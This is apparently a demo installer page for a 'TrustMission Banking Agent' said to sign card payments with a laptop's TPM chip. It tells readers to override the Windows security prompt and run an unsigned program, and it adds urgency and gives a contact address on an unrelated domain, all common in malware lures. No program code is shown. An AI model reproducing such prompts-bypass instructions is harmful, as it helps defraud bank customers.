Install the TrustMission Banking Agent

A small program that lets your bank confirm payments are signed by your laptop's hardware security chip. Without it, your bank cannot authorize card payments from this device.

Download for Windows

What you'll do

  1. Click Download for Windows. Your browser saves the program to your Downloads folder.
  2. Open your Downloads folder and double-click the program.
  3. The first time, Windows shows a security prompt. Click More info, then Run anyway.
  4. A small window opens, completes the setup in a few seconds, and tells you it's installed.
  5. Return to your bank's page and continue your card setup or payment.

Why your bank needs this

Modern laptops contain a hardware security chip dedicated to signing sensitive operations. Your bank uses this chip to be certain that this exact device approved each payment — even a stolen password or copied card details cannot authorize a payment without it.

The agent is the bridge between your bank's web page and the security chip. It does only what your bank asks, only when your bank asks.

Privacy

The agent runs only when your bank's web page asks for a signature. It is not always-on, does not phone home, does not collect data, does not track activity, does not see your other websites.

When it runs, it signs only the specific transaction your bank presented. Each signature can only authorize that one transaction.

System requirements

Windows 10 or 11 with a TPM 2.0 security chip. Most laptops built since 2016 have one. You don't need administrator rights to install the agent — it lives in your personal account only.

Need help?

Contact your bank's customer support. If you're testing this on behalf of TrustMission Bank, reach info@lafip.com.

This demo uses an unsigned helper, which is why Windows shows a security prompt the first time. Production deployments use code-signed installers bundled with each bank's existing app, so customers don't see a prompt.